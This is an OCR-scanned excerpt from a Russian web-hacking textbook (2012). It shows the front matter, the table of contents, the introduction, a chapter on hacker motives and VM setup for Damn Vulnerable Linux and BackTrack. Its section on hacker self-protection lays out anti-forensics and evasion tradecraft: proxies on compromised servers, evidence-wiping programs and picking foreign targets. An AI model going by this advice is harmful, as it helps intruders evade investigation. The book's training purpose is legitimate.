Text
                    Юрий Жуков
основы
веь-хдкингА
НАПАДЕНИЕ и ЗАЩИТА<
• дистрибутив Damn Vulnerable Linux
• дистрибутив Linux Back Track k
• учебные примеры
• скриншоты
2-е издание


№ППТ№*
Юрий Жуков основы веб -хакинга » НАПАДЕНИЕ и ЗАЩИТА« 2-е издание Е^ППТЕР® Москва - Санкт-Петербург - Нижний Новгород • Воронеж Ростов-на-Дону - Екатеринбург • Самара - Новосибирск Киев - Харьков - Минск 2012
ББК 32.988-018-07 УДК 004.738.52 Ж85 Жуков Ю. В. Ж85 Основы веб-хакинга: нападение и защита (+DVD) 2-е изд. — СПб.: Питер, 2012. —208 с: ил. ISBN 978-5-459-01217-0 Второе издание популярной книги Юрия Жукова предназначено для всех интересующихся ха- кингом и надежной защитой веб-сайтов. Описаны реальные уязвимости широко распространенных бесплатных движков сайтов. К книге прилагается DVD-ROM с тестовой системой и двумя свободно распространяемыми хакерскими дистрибутивами Linux — Damn Vulnerable Linux и Back Track 4, которые работают на локальном компьютере пользователя под управлением виртуальной машины в ОС Windows. Подробно разобраны учебные примеры, включенные в тестовую систему. Информация, приведенная в данной книге, может быть использована только в ознакомительных и учебных целях. Издательство не несет ответственности за неправомерное использование читателями полученной информации, приведшее к нарушению закона. ББК 32.988-018-07 УДК 004.738.52 Все права защищены. Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев авторских прав. Информация, содержащаяся в данной книге, получена из источников, рассматриваемых издательством как надежные. Тем не менее, имея в виду возможные человеческие или технические ошибки, издательство не может гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственности за возможные ошибки, связанные с использованием книги. ISBN 978-5-459-01217-0 © ООО Издательство «Питер», 2012
Краткое оглавление 00. Введение 10 Часть I. Приступая к работе 13 01. О хакинге и хакерах 14 02. Подготовка 19 Часть П. Основы веб-хакинга 29 03. Первый взлом 30 04. РНР-инклуд 36 05. SQL-инъекция 53 06. Межсайтовый скриптинг 66 07. Слепая SQL-инъекция 77 08. Новые возможности РНР-инклуда 91 09. CRLF-инклуд 98 Часть III. Что дальше? 99 0А. Получение полноценного доступа к шеллу 100 0В. Удаленный подбор паролей 105 0С. Локальный взлом паролей 113 0D. Повышение привилегий 130 0Е. Сокрытие следов присутствия 143 0F. Исследование системы 147 10. Алгоритмы получения контроля над сервером 149 11. Удаленные эксплойты 151 12. Противодействие хакерам 153 13. Реальные задачи IT-безопасности 157 Приложение 1. Основные *шх-команды 171 Приложение 2. SQL-инъекции в модуле show.php форума Cyphor 174 Приложение 3. Взлом паролей пользователей форума Cyphor 178 Приложение 4. Использование готового эксплойта для SQL-инъекции в форуме Cyphor 183 Приложение 5. Реализация SQL-инъекций в MS SQL Jet 186 Приложение 6. Усовершенствованный текст эксплойта nabopoll.php 189 Приложение 7. Получение имен таблиц и данных через слепую SQL-инъекцию в MS Access 191 Приложение 8. Переустановка пароля администратора и угадывание его в instantCMS 192 Приложение 9. Быстрые методы слепой SQL-инъекции 195 Приложение 10. Хакерский словарик 200
Оглавление 00. Введение 10 О втором издании 10 Для кого эта книга 10 Об авторе 11 От издательства 12 ЧАСТЬ I. ПРИСТУПАЯ К РАБОТЕ 13 01.0 хакинге и хакерах 14 Кто такие хакеры 14 Зачем хакеры взламывают веб-сайты 15 Собственная безопасность хакера 16 02. Подготовка 19 ЧАСТЬ II. ОСНОВЫ ВЕБ-ХАКИНГА 29 03. Первый взлом 30 04. РНР-инклуд 36 Локальный РНР-инклуд 36 Удаленный РНР-инклуд 41 Реальный пример РНР-инклуда — движок NaboPoll 46 Создание хакерского веб-шелла в логах Apache через локальный инклуд 47 Реальное местоположение логов 49 Защита от удаленного инклуда 50 Защита от локального инклуда 51 05. SQL-инъекция 53 Получение информации из базы данных 60 Создание веб-шелла 61 Защита от SQL-инъекции 62 Решение проблем с кодировкой 64 Вместо послесловия к главе 05 65
Оглавление 7 06. Межсайтовый скриптинг 66 Области применения XSS 66 Пассивный межсайтовый скриптинг 67 Активный межсайтовый скриптинг 68 Пример мини-приложения, уязвимого для XSS 69 Как хакеры обходят механизм фильтрации тега <script> 74 07. Слепая SQL-инъекция 77 Получение номера версии MySQL с помощью переменной @@version 78 Проверка возможности доступа к таблице mysql.user 79 Угадывание имен таблиц 79 Угадывание имен столбцов в найденной таблице 79 Извлечение данных из найденных таблиц/столбцов 80 Слепая SQL-инъекция в движке NaboPoll 82 Автоматизация механизма извлечения данных 86 Поиск уязвимых сайтов 87 Использование временных задержек 88 08. Новые возможности РНР-инклуда 91 Инъекция в файл /proc/self/environ 91 Поиск логов сервера Apache 92 Инклуд почтового сообщения 92 «Повторение — мать учения» 93 Немного о нестандартных ситуациях 94 Выводы для веб-программистов 97 09. CRLF-инклуд 98 ЧАСТЬ III. ЧТО ДАЛЬШЕ? 99 0А. Получение полноценного доступа к шеллу 100 0В.Удаленный подбор паролей 105 0С. Локальный взлом паролей 113 Взлом хэшей паролей "nix-систем 113 Особенности взлома LDAP-паролей 116 Взлом MD5 и некоторых других хэшей 117 Взлом хэшей паролей ОС Windows 125 Локальный подбор паролей на компьютере жертвы 128 ©О.Повышение привилегий 130 Как защититься от эксплойтов уровня ядра 139 0Е. Сокрытие следов присутствия 143 0R Исследование системы 147 10. Алгоритмы получения контроля над сервером 149 11. Удаленные эксплойты 151
8 Оглавление 12. Противодействие хакерам 153 13. Реальные задачи ГГ-безопасности 157 Использование инсайдерской информации для взлома пароля 157 ICQ и работа для частного детектива 159 Работа для антихакера, или «привет из Бразилии» 161 Небезопасная программа VMware Player 163 Приложение 1. Основные *тх-команды 171 Приложение 2. SQL-инъекции в модуле show.php форума Cyphor 174 Приложение 3. Взлом паролей пользователей форума Cyphor 178 Приложение 4. Использование готового эксплоита для SQL-инъекции в форуме Cyphor 183 Приложение 5. Реализация SQL-инъекций в MS SQL Jet 186 Приложение 6. Усовершенствованный текст эксплоита nabopoll.php 189 Приложение 7. Получение имен таблиц и данных через слепую SQL-инъекцию в MS Access 191 Приложение 8. Переустановка пароля администратора и угадывание его в instantCMS 192 Приложение 9. Быстрые методы слепой SQL-инъекции 195 Использование функции find_in_set(substr, strlist) 195 Использование конструкции find_in_set() + morel row 197 Приложение 10. Хакерский словарик 200
Введение О втором издании Первое издание книги, вышедшее в 2011 году, практически сразу же стало бестселлером в категориях «Хакерство» и «Безопасность систем» на OZON.ru и в некоторых других Интернет-магазинах. Данное, второе, издание книги претерпело некоторые изменения: исправлены замеченные ошибки, вместе с новым материалом добавлены новые примеры (и, возможно, новые ошибки ©). Дочитав эту книгу до конца, вы получите множество полезных навыков, знаний и позитивный настрой ©. По сравнению с первым изданием эффект должен усилиться минимум в полтора-два раза ©. Учтены многие пожелания читателей, в частности об увеличении объема материала и количества примеров. Чего же ждут читатели от второго издания этой книги? The lmpL3x aka the Matrix: «чего-то необычного, читатель должен понять, что хек не ограничивается книгой, это такой же необъятный мир, как и настоящий, который может выходить за границу знаний и подчиняться только экспериментам». По-прежнему в книге в основном рассматриваются только типичные уязвимости сайтов и движков баз данных, с которыми эти сайты работают, а уязвимости самих веб-серверов остались за рамками изложения. Прогресс не стоит на месте, и новейшие знания читатель получит, пройдя по приведенным в тексте книги ссылкам на хакерские сайты. Автор заранее приносит свои извинения за возможные технические неточности и опечатки, а также за то, что адреса Интернет-ресурсов могли за время издания книги измениться. В таком случае не отчаивайтесь, а используйте поисковики. Грамотно составленный запрос выдаст вам требуемый результат. Для кого эта книга Эта книга предназначена для всех тех, кто интересуется вопросами защиты компьютеров. Она пригодится как изучающим методы хакинга (это могут быть, например, будущие специалисты по информационной безопасности, в частности 00
10 00. Введение те, кто готовится стать пентестером или этичным хакером), так и начинающим веб-программистам и веб-администраторам, желающим защитить свои сайты от взлома. Также читателям ее могут быть просто увлеченные компьютерами люди, желающие получить об IT-сфере как можно больше разносторонних знаний. Будет не лишне пролистать ее и администратором самих серверов, на которых расположены веб-сайты. Если вы — «прославленный хакер», эта книга не для вас. Здесь обучение начинается с азов и даются только базовые навыки (хотя и довольно обширные). Навыки программирования приветствуются, но совсем не обязательны. Книга написана в форме самоучителя, обучение ведется на реальных примерах на локальном компьютере. После прочтения данной книги и проработки материала вы будете обладать в области веб-хакинга знаниями если не среднего хакера, то, по крайней мере, очень продвинутого новичка с четкими представлениями о том, как защитить свою систему от хакеров. Сам хакинг многогранен, и внутри него существует множество разделов, соответственно, и хакеры обычно знают несколько разделов, но, как правило, в большей степени специализируются на чем-то одном. Хотя есть и специалисты- универсалы. Вы должны четко осознавать, что в данной книге изложены основы (подчеркиваю — основы) одного (всего одного!) из разделов хакинга. Работа в основном будет вестись с операционной системой Linux (функционирующей на виртуальной машине в вашей системе Windows), так что, если вы до сих пор не сталкивались с Linux, у вас есть шанс оценить достоинства этой ОС. Однако во втором издании, по сравнению с предыдущим, намного больше информации о программных инструментах для Windows. Не сомневаюсь, что в ходе чтения книги у вас не раз будет повод похвастаться новыми навыками перед своей девушкой (или парнем, если вы — девушка, что, видимо, очень редкий случай у изучающих подобную тематику). Надеюсь, вы получите удовольствие от «взлома» тестовой системы, но, разумеется, ни в коем случае не следует применять полученные знания против реальных систем, так как это противозаконно. Единственное исключение (если вы работаете в конторе, занимающейся компьютерной безопасностью) — тестирование по письменному договору с заказчиком его сайта на проникновение (пентестинг). Об авторе Автор данной книги профессионально занимался информационной безопасностью, работая администратором компьютерной безопасности в крупном региональном коммерческом банке с 1995 по 1999 год (должности менялись, добавлялись эпитеты вроде «главный», но суть оставалась той же). До и после этого он в основном работал в качестве программиста, реже — системного администратора.
От издательства 11 Как программист, в частности, занимался задачами математического анализа сердечного ритма и прикладной криптографии. На данный момент увлечение компьютерной безопасностью превратилось в хобби. С 2002 года и по сей день является постоянным читателем журнала «Хакер» (в 2004 году даже занимал призовое место в конкурсе журнала). Активный участник форумов по компьютерной безопасности и хакингу. От издательства На прилагаемом к книге DVD-диске находятся два специальных дистрибутива операционной системы Linix, а именно Damn Vulnerable Linux и Back Track 4. Для выполнения изложенных в книге примеров необходимо установить эти дистрибутивы на свой компьютер, лучше это сделать под управлением виртуальной машины, как описано в главе 02. Также на диске имеется папка «Программы», с некоторыми из упоминаемых в тексте книги программ на языке РНР. Все остальные программы, упоминаемые в книге, можно бесплатно скачать из Интернета по указанным в тексте ссылкам. Ваши замечания, предложения и вопросы отправляйте по адресу электронной почты comp@piter.com (издательство «Питер», компьютерная редакция). Мы будем рады узнать ваше мнение! Подробную информацию о наших книгах вы найдете на веб-сайте издательства http://www.piter.com.
Часть I Приступая к работе На самом деле хакинг больше тяготеет к соблюдению законов, чем к их нарушению. Сущность хакинга — поиск непредусмотренных или неочевидных способов использования закономерностей и свойств определенной ситуации и последующее оригинальное и изобретательное применение их для решения некоторой задачи, в чем бы она ни состояла. Джон Эриксон, «Хакинг: искусство эксплойта» ¦ 01. О хакинге и хакерах ¦ 02. Подготовка
О хакинге и хакерах Сначала договоримся о терминологии. Под термином «*nix» я буду понимать любую Unix-подобную операционную систему (не важно, называется она AIX, HP-UX, SunOS, Solaris, Linux, FreeBSD, OpenBSD, NetBSD или как-нибудь еще). Под термином «Windows» я буду понимать любую из операционных систем компании Microsoft для рабочих станций или серверов, в названии которой встречается слово «Windows». Там, где это необходимо, я буду уточнять, о какой конкретно операционной системе идет речь. Кто такие хакеры Слово «hacker» в английском языке имеет два значения, причем первым и основным является вовсе не то, которое мы слышим из сводок криминальных новостей. Взяв с книжной полки свой старенький, выпуска 1991 года (то есть еще советский), словарь по программированию (английский, русский, немецкий французский) авторов А. Б. Борковского, Б. И. Зайчика, Л. И. Боровиковой, выпущенный издательством «Русский язык», Москва, я отыскал английское слово «hacker». И вот что я там прочитал: hacker — хекер 1) программист, способный писать программы без предварительной разработки детальных спецификаций; 2) пользователь вычислительной системы, занимающийся поиском незаконных способов получения доступа к защищенным данным. К первому значению термина «хекер» (в современном русском языке — «хакер») я добавил бы еще много хорошего. Хакер — это энтузиаст программирования, он способен разрабатывать такие программы, существование которых программист средней руки счел бы вообще невозможным, он получает удовольствие от совершенствования своих и чужих программ, а также от всего, что связано с миром компьютеров и информационных технологий. 01
Зачем хакеры взламывают веб-сайты 15 Ко второму значению «хекера» добавить почти нечего. Но тем не менее и среди таких «нехороших хакеров» есть масса технически грамотных, удивительно изобретательных и изощренно мыслящих специалистов, посвятивших свои таланты тому, что порицается современным обществом. Причем далеко не все они ищут «дыры» в системах ради собственной выгоды или из корыстных мотивов, зачастую ими движет желание помочь повысить устойчивость и безопасность системы, не нанеся ей ни малейшего вреда. Такие хакеры получили название whitehat'oB (белых шляп) в противоположность blackhat'aM (черным шляпам), которые сознательно идут на нарушение закона в корыстных целях (например, ради собственного обогащения) и способны навредить системе и ее владельцам. Теперь о том, чего я хочу от вас, дорогие читатели. Я искренне вам желаю, чтобы в вашей нише многообразного мира информационных технологий вы соответствовали высокой планке первого определения слова «hacker». А прочитав эту книгу, вы сможете познать и «темную сторону силы», то есть то, как мыслят и действуют компьютерные злоумышленники. В результате, получив необходимые знания, вы сможете вполне эффективно противостоять их атакам. Зачем хакеры взламывают веб-сайты Большинство начинающих хакеров и антихакеров задаются вопросом: «А зачем вообще взламывать веб-сайты»? Этот вопрос возникает просто из-за недопонимания устройства сайтов. Многие наивно полагают, что, взломав сайт, на нем можно найти лишь веб-странички и больше ничего интересного. Однако веб-сайты состоят не только из веб-страниц, зачастую они взаимодействуют с базами данных. Например, сайт электронного магазина может взаимодействовать с базой данных, в которой содержится огромное количество номеров кредиток, а сайт, который предоставляет услуги электронной почты, — с базой, содержащей логины и пароли пользователей. Веб-сайты размещаются на сервере, поэтому, взломав сайт, хакер может получить доступ к командной строке этого сервера, и довольно часто это заканчивается получением прав суперпользователя (то есть полным контролем над сервером). Само проникновение через веб-сайт можно осуществить без особых проблем, так как чаще всего сайты общедоступны. Следовательно, взломщик, получив контроль над веб-сайтом, сможет через него проводить различные действия с атакуемым компьютером. Перечислим основные побудительные причины для взлома веб-сайта: О дефейс (подмена главной страницы сайта); О кража конфиденциальной информации; О получение полного контроля над сервером; О месть (чаще всего этим занимаются уволенные сотрудники, реже — обманутые клиенты).
16 01.0 хакинге и хакерах Этот список — далеко не полный. Рассмотрим его подробнее. О Дефейс. Главную страницу сайта можно заменить простой страничкой с надписью «Hacked by имя_хакера». Однако иногда путем дефейса сайта пытаются пропагандировать определенные политические лозунги (антивоенные, исламистские и т. д.). Есть люди, которым дефейс нравится просто как искусство, что-то вроде граффити в Интернете. В результате такого дефейса на главной странице появляются красиво оформленные картинки, иногда юмористического характера. (Позже мы поговорим о дефейсе подробнее.) О Кража конфиденциальной информации. Чаще всего конфиденциальную информацию крадут с целью ее продажи. Например, скопировав базу какого- нибудь почтового сервера, хакер может продать ее спамерам. Еще пример: несколько лет назад я прочитал в журнале «Хакер» о том, как один российский хакер по заказу клиентов стащил с сервера научного института одной из европейских держав новейшие данные исследований по генной инженерии. О Получение полного контроля над сервером. Эта цель, вероятно, является второй по популярности после дефейса. Чаще всего захваченный сервер либо используют в своих целях, либо просто продают другим хакерам. Под полным контролем подразумевается получение прав администратора (для Windows) или суперпользователя (для *nix). Далее хакер может использовать компьютер, например, для взлома паролей или сканирования других серверов, кроме того, он может развернуть на захваченной машине прокси-сервер для своих нужд. О Месть. Мне как-то встретилась в Интернете подробная статья о том, как клиент одного из банков ближнего зарубежья (системный администратор по профессии) из мести за некорректное поведение банкиров взломал сайт банка и затем получил доступ к локальной сети банка. Соответственно, он получил доступ к конфиденциальной информации, в том числе к своему счету. Это дало ему возможность мгновенно «погасить» взятый кредит, но он ничего не стал трогать, а просто написал администрации банка о недостатках в системе безопасности. Как вы поняли, никто не застрахован от взлома. Зачастую, взломав самодельную веб-страничку начинающего пользователя, хакер получает контроль над сервером крупной хостинговой компании, которая обслуживает сотни сайтов и тысячи почтовых ящиков. При этом нельзя забывать, что на месте такой компании вполне может оказаться сайт правительственной организации или крупного банка. Я думаю, теперь у вас не осталось вопросов по поводу мотивации хакеров к взлому сайтов. Собственная безопасность хакера Реальные хакеры, чтобы не быть пойманными, тщательно скрывают свои IP- адреса. Они часто используют прокси-серверы (proxy), то есть серверы в Интернете, которые в запрос к сайту подставляют свой адрес вместо адреса клиента
Собственная безопасность хакера 17 (в данном случае — хакера). Анонимный прокси отличается тем, что не выдает адрес клиента конечному сайту. Однако такой прокси не скрывает, что клиент работает не напрямую, а через прокси. Элитный прокси вообще не выдает своего присутствия, являясь наилучшим с точки зрения достижения анонимности в Сети. В то же время даже элитные серверы часто ведут логи (журналы), по которым можно установить, кто и когда заходил на прокси-сервер и какие сайты посещал. Есть информация, что правоохранительные органы специально создают контролируемые ими прокси-серверы, чтобы вылавливать хакеров. Поэтому многие хакеры лично устанавливают программы-прокси на взломанные ими серверы в Интернете и конфигурируют их так, чтобы логи не велись, а потом работают только через эти прокси. Большинство хакерских программ для Интернета, к примеру удаленные переборщики паролей, позволяют использовать прокси. Разумеется, есть соответствующая возможность и у обычных веб-браузеров и FTP-клиентов. По запросу free рюху list через поисковик вы можете найти в Сети целый список бесплатных прокси и попробовать использовать один из них в своем браузере. После этого можно зайти на любой сайт, показывающий ваш IP-адрес (например, www.2ip. ru), и убедиться, что там отображается адрес прокси, а не ваш реальный адрес. Только будьте осторожны — прокси, который вы применяете, может оказаться хакерским! И тогда все введенные через него пароли к сайтам или почте окажутся добычей врага. В качестве реального примера использования прокси можно рассмотреть ситуацию, когда администратор локальной сети у вас на работе перекрывает доступ к популярным веб-сайтам. Тогда можно попытаться обойти ограничения с помощью прокси. Существуют также программы, подобные SocksChain производства фирмы Ufasoft, позволяющие пользователю Интернета работать через целую цепочку прокси. Еще несколько лет назад это было наилучшим способом обеспечения анонимности. Однако сейчас вместо прокси широко применяются виртуальные частные сети (Virtual Private Network, VPN). В отличие от прокси, они поддерживают шифрование данных и позволяют работать с любым портом (то есть через VPN могут действовать абсолютно любые приложения). О применении VPN можно прочитать в журнале «Хакер» либо в Интернете. Для простых пользователей можно вместо прокси порекомендовать специальные сайты в Сети — анонимайзеры. В основе их работы также лежат прокси, но вам не надо ничего настраивать, просто в соответствующей строке на страничке ано- нимайзера вы вводите адрес просматриваемого сайта, и он открывается в том же окне. Анонимайзер может пригодиться, если на определенный сайт не пускают пользователей из домена .ru. В этом случае достаточно задействовать анонимайзер, к примеру американский анонимайзер www.hidemyass.com. Настоящие хакеры стараются не оставлять и других улик. Они никогда не ведут никаких записей на бумаге, никаких переговоров по хакерским вопросам по
18 01.0 хакинге и хакерах телефону (обычному или сотовому), никаких чатов или электронных писем. Они не делятся информацией о своих «победах» даже с близкими людьми. Они никогда не «ломают» сайты со своего рабочего места. Хакер, пока он не достигнет высочайшего уровня мастерства, не взламывает компьютеры в своей стране и дружественных ей странах, а практикуется на сайтах третьих стран. При этом он никогда не взламывает правительственные (.gov) и военные (.mil) сайты, а предпочитает сайты образовательных учреждений (.edu). Вся информация по хакингу на его компьютере (все хакерские программы, записи) хранится в одной папке (обычно зашифрованной). Так легче уничтожить улики, если за хакером придут из правоохранительных органов. Обычные браузеры сохраняют историю посещения сайтов, даже если выбран приватный режим. Операционная система хранит информацию о запускавшихся программах. Поэтому хакеры часто делают «серьезную работу», загружаясь со сменного носителя (live-CD) с хакерским дистрибутивом. Тогда при выключении компьютера все следы исчезают. Компьютер хакера (если это не ноутбук) обязательно оснащается мощным источником бесперебойного питания. Дело в том, что полиция, прежде чем войти, отключает свет в квартире хакера в надежде, что без электричества подозреваемый не успеет уничтожить улики со своего компьютера. Опытный хакер делает дверь в свою квартиру из толстой стали и оснащает мощными замками, чтобы ее было невозможно просто выбить. Это дает хакеру дополнительное время на уничтожение улик в случае опасности. На случай неожиданного ареста существуют также скрытые хакерские программы, которые при запуске компьютера ждут в течение нескольких десятков секунд нажатия определенной комбинации клавиш и, если она не была нажата, уничтожают заданные папки. Ну а незадачливых злоумышленников подстерегает такая опасность, как форенсик-анализ. Этот вид анализа позволяет обнаружить малейшие следы горе-хакерской или иной противоправной деятельности на «посмертно» сделанной побитной копии жесткого диска или иного перезаписываемого носителя информации.
Подготовка Все примеры, описанные в данной книге, могут и должны выполняться на локальном компьютере начинающего хакера (антихакера). Для работы нам потребуются как минимум два специальных дистрибутива операционной системы Linix, а именно Damn Vulnerable Linux (сокращенно — DVL) и Back Track 4. СОВЕТ Оба указанных дистрибутива можно найти на прилагаемом к книге DVD-диске. Рассмотрим их подробнее. Дистрибутив Damn Vulnerable Linux (дословно — «чертовски уязвимый линукс») был создан на базе Back Track 2. Для примеров в книге я использую DVL версии 1.5. Его можно бесплатно загрузить с официального сайта разработчиков: www.damnvulnerablelinux.org. Самими авторами он позиционируется как диск для сотрудников информационной безопасности и антибезопасности (читай: хакеров). DVL находится на загрузочном сменном носителе (live-CD), непосредственно с которого и грузится эта операционная система. Это удобно для хакеров и антихакеров, потому что не требует установки и не оставляет следов на локальном компьютере, ведь при каждой новой загрузке такого «линукса» любые изменения в файлах теряются. Однако это не очень хорошо для целей обучения, потому что обучаемому иногда приходится приостанавливать работу, чтобы потом к ней вернуться. Поэтому мы будем использовать виртуальную машину. Что это такое? Это такая программа (в нашем случае работающая под управлением Windows), которая эмулирует компьютер, то есть как бы создает «компьютер в компьютере». А уже на этом виртуальном компьютере может функционировать любая операционная система, которая поддерживает ваш процессор. Известными брендами среди виртуальных машин являются VMware и VirtualBox. В качестве виртуальной машины вам я рекомендую бесплатный пакет VMware Player, для наших целей его будет вполне достаточно. Прочитать (по-английски) о нем можно на сайте разработчиков www.vmware.com/products/player/, а загрузить с сайта www.VMware.com/Download. Для активации программы требуется всего лишь зарегистрироваться на сайте VMware. Для тех, у кого установлена система Windows 7 в одной из «старших» 02
20 02. Подготовка конфигураций, можно порекомендовать в качестве альтернативы воспользоваться входящей в ее состав виртуальной машиной. ВНИМАНИЕ Практически ни одна программа не безопасна на 100 %, даже VMware Palyer. Если вы имеете хорошие познания в компьютерной области, в качестве «страшилки на ночь» почитайте в главе 13 раздел «Небезопасная программа VMware Player». СОВЕТ Когда будете устанавливать DVL под VMware, при создании виртуальной машины в качестве версии операционной системы выбирайте вариант Other Linux 2.6.x kernel («другой Линукс, ядро 2.6»). Также советую увеличить память этой виртуальной машины до максимально рекомендуемой программой VMware или хотя бы до 512 Мбайт. Второй дистрибутив — это Back Track 4. Его можно совершенно бесплатно загрузить с сайта www.backtrack-linux.org/downloads/. Welcome to VMware Player Create a New Virtual Machine Create a new virtue* machine, which will Chert be i to the top of your library. Open a Virtual Machine Open en existing virtual machine, which wl then be added to the top of your library. Upgrade to VMware Workstation Get advanced features such as snapshots, record/replay, teams, developer tool integration, and more. View VMware Player's hefc contents. Рис. 02.1. Окно программы VMware Player после запуска
Подготовка 21 Тот, кто сам справился с установкой Linux под виртуальной машиной, кто понимает английский и кто знает основы Linux, может сразу переходить к следующей главе. Для остальных приведу здесь инструкции по установке и скриншоты. Предположим, что VMware Player вы уже установили. Если у вас установлен файрвол (как отдельная программа или в составе антивирусного пакета, например, Касперского), то убедитесь, что вашим файрволом программе VMware Player разрешены любые входящие и исходящие интернет-соединения. Это понадобится, когда мы с виртуальной машины будем выходить во Всемирную Сеть. 1. Запустите VMware Player. Вы увидите окно, показанное на рис. 02.1. В этом окне выберите вариант Create a New Virtual Machine (справа). 2. В следующем окне, показанном на рис. 02.2, установите переключатель Installer disk image file (iso) и укажите путь к нашему образу Damn Vulnerable Linux, щелкнув на кнопке Browse. У меня он лежит в папке C:\Damn Vulnerable Linux 1.5, а сам файл называется DVL_l.5_Infectious_Disease.iso. Далее щелкните на кнопке Next. New Virtual Machine Wizard Welcome to the New Virtual Machine Wizard A virtual machine is like a physical computer; it needs an operating system. How will you install the guest operating system? Install from: Installer disc: Browse... ) Installer disc image Pile (iso): : C:\Damn Vulnerable Linux 1.5\DVL_1.5JnfectiousJDi: щ j\ Could not detect which operating system is in this disc image. You will need to specify which operating system will be installed. ) I will install the operating system later. The virtual machine will be created with a blank hard disk. Help Next> Cancel Рис. 02.2. Мастер создания виртуальных машин, шаг 1 3. Задайте параметры так, как показано на рис. 02.3, и щелкните на кнопке Next.
22 02. Подготовка Select a Guest Operating System Which operating system will be installed on this virtual machine? Microsoft Windows > Linux • Novell NetWare Sun Solaris Other Help Рис. 02.3. Мастер создания виртуальных машин, шаг 2 ШШШШШШ Name the Virtual Machine What name would you like to use for this virtual machine? Virtual machine name: Location: C:\DocumentsandSettings\user\MyDocuments\MyVirtualMac | Browse. Рис. 02.4. Мастер создания виртуальных машин, шаг 3
Подготовка 23 4. В следующем окне введите имя виртуальной машины и задайте ее расположение (рис. 02.4). Расположение можно оставить заданным по умолчанию, а имя я вам советую поменять на DVL или DamnVulnerableLinux, чтобы потом не запутаться в своих виртуальных машинах. Щелкните на кнопке Next. 5. Следующее окно мастера показано на рис. 02.5. Максимальный размер диска можно оставить заданным по умолчанию, потому что, даже если на вашем жестком диске нет сейчас свободных 8 Гбайт, ничего страшного — система DVL реально занимает менее 2 Гбайт, а 8 Гбайт — это максимальный размер системы при ее дальнейшем расширении (если вы планируете добавлять в систему новые файлы с дисков или из Интернета). Если вы планируется «разрастание» системы до размеров, превышающих 2 Гбайт, установите переключатель Split virtual disk into 2 GB files, как показано на рисунке. Тогда система будет храниться не в одном файле, а в нескольких, каждый размером до 2 Гбайт, и вам будет легче переносить виртуальную машину на другой компьютер в случае необходимости. Щелкните на кнопке Next. Specify Disk Capacity How large do you want this disk to be? The virtual machine's hard disk is stored as one or more files on the host computer's physical disk. These file(s) start small and become larger as you add applications, files, and data to your virtual machine. Maximum disk sjze (GB): 8.0 Recommended size for Other Linux 2.6.x kernel: 8 GB :>/ e virtual disk as a single file 1 У IriULyJrtuaj d^k into 2 .GB files! Splitting the disk makes it easier to move the virtual machine to another computer. ! [ Help J [ < Back ~~| [~~Next > ~~j ( Cancel ) I Рис. 02.5. Мастер создания виртуальных машин, шаг 4 6. Хотя на данном этапе мастер уже готов к созданию новой виртуальной машины, не торопитесь щелкать на кнопке Finish (рис. 02.6). Я настоятельно рекомендую сначала увеличить размер виртуальной памяти хотя бы до 512 Мбайт или более, потому что с памятью размером 256 Мбайт машина
24 02. Подготовка Ready to Create Virtual Machine Click Finish to create the virtual machine and start installing Other Linux 2.6.x kernel. The virtual machine will be created with the following settings: ; Name: Other Linux 2.6.x kernel j Location: C:\Documents and Settings\user\My Documents\My Virt.. Version: Workstation 6.5-7.0 '< Operating System: Other Linux 2.6.x kernel \ Hard Disk: 8 GB, Split i Memory: 256MB j Network Adapter: NAT | Other Devices: CD/DVD, Floppy, USB Controller, Sound Card j Customize Hardware... j 0 Power on this virtual machine after creation < Back ] [ Finish J | Cancel Рис. 02.6. Мастер создания виртуальных машин, шаг 5 Device Summary Щ Processors 2 New CD/DVD (... Using file С: \Damn Vulnerabl.. У Floppy Using drive A: Щ Network Adapter NAT 0USB Controller Present $ Sound Card Auto detect 5? DisPlay Auto detect Memory Specify the amount of memory allocated to this virtual machine. The memory size must be a multiple of 4 MB. Memory for this virtual machine: j - [~796 I MB Д Д A 4 896 Д Guest OS recommended minimum: 32 MB Д Recommended memory: 256 MB A Maximum recommended memory: 796 MB (Memory swapping may occur beyond this size.) Maximum configurable memory: 32768 MB Add... Cancel Help ] Рис. 02.7. Мастер создания виртуальных машин, шаг 6
Подготовка 25 Damn Vulnerable Linux работает из рук вон плохо. Поэтому сначала щелкните на кнопке Customize Hardware. 7. Следующее окно показано на рис. 02.7. Как видите, я увеличил объем памяти до максимально рекомендуемого (796 Мбайт). Также я увеличил количество процессоров до 2 (потому что у меня двухъядерный процессор), хотя делать это вовсе не обязательно. Кроме того, хотя это тоже делать не обязательно, я жестко привязал дисковод флоппи-дисков к имени А — по умолчанию здесь был задан вариант Auto detect (автоопределение). На этом, пожалуй, все, можно щелкать на кнопке ОК. После этого мы возвратимся к экрану, показанному на рис. 02.6. Щелкните здесь на кнопке Finish, чтобы завершить процесс создания виртуальной машины. Виртуальная машина будет создана и запущена. Соответствующее окно должно напоминать показанное на рис. 02.8. Если же появится окно Removable Devices (у вас оно может и не появиться), просто щелкните в нем на кнопке ОК. Далее в нижней части экрана щелкните на кнопке I Finished Installing («я закончил инсталляцию»), потому что в нашем случае установка Linux вообще не требуется — мы работаем с образа загрузочного диска. Чтобы переключиться на виртуальную машину, нажмите сначала клавишу Ctrl, а затем, не отпуская ее, — клавишу G (подсказку с этой комбинацией клавиш Ctrl+G можно увидеть в левой нижней части окна виртуальной машины). Когда захотите переключиться обратно из виртуальной машины на свой рабочий стол, просто нажмите клавиши Ctrl+Alt (Ctrl и Alt вместе). Далее введите в нижнем регистре логин root и нажмите клавишу Enter, затем в качестве пароля (password) введите toor (это просто слово root наоборот) и снова нажмите клавишу Enter. Если вы все ввели правильно, появится системное приглашение: bt ~#_ Здесь bt — это имя системы, # — признак того, что вы суперпользователь. У обычных пользователей в приглашении вместо символа # отображается знак $. Мы сейчас находимся в консоли Linux. Здесь используется интерфейс командной строки Linux — команды печатаются на клавиатуре, а, чтобы выполнить команду, нажимается клавиша Enter. Для запуска графической среды KDE введите команду startx и нажмите клавишу Enter. Вот так: bt ~ # startx Если забудете команду, она есть в списке рекомендованных команд на экране. Стартует графическая среда Linux, с которой вам, как пользователям Windows
